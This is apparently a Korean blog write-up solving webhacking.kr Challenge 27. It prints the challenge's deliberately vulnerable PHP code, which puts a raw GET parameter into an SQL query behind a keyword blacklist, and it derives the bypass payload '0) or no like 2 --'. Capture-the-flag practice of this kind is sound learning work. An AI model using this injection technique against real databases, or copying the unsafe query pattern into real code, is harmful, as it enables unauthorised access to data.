소스코드는 다음과 같다.
<html> | |
<head> | |
<title>Challenge 27</title> | |
</head> | |
<body> | |
<h1>SQL INJECTION</h1> | |
<form method=get action=index.php> | |
<input type=text name=no><input type=submit> | |
</form> | |
<!-- index.phps --> | |
</body> | |
</html> |
index.phps가 주석처리 되어 있으므로!
index.phps를 확인하면 다음과 같다.
<html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?
if($_GET[no])
{
if(eregi("#|union|from|challenge|select|\(|\t|/|limit|=|0x",$_GET[no])) exit("no hack");
$q=@mysql_fetch_array(mysql_query("select id from challenge27_table where id='guest' and no=($_GET[no])")) or die("query error");
if($q[id]=="guest") echo("guest");
if($q[id]=="admin") @solve();
}
?>
<!-- index.phps -->
</body>
</html>
문제는 no=($_GET[no])로 괄호가 있다는 것이다
1을 입력했을때 echo("guest")가 실행되었다.
guest의 no는 1이라는 것이고,
admin의 no는 0 또는 2임을 유추할 수 있다.
0) or no=2
로 하면 admin이 될 것 같지만
=을 필터링 해놓았다.
따라서 = 이 아닌 like를 사용하자
0) or no like 2
"select id from challenge27_table where id='guest' and no=(0) or no like 2)"
문제는 그 뒤에 나오는 )이다. 따라서 이를 주석처리 해버리기 위해 -- 를 붙여주면 끝!
0) or no like 2 --
*주석은 --과 공백
'웹 해킹 > webhacking.kr' 카테고리의 다른 글
webhacking.kr 32번-파이썬 스크립트 (0) | 2018.02.10 |
---|---|
webhacking.kr 31번-포트포워딩 (0) | 2018.02.09 |
webhacking.kr 25번 (0) | 2018.02.09 |
webhacking.kr 19번-문제 오류 (0) | 2018.02.09 |
webhacking.kr 54번 (0) | 2018.02.09 |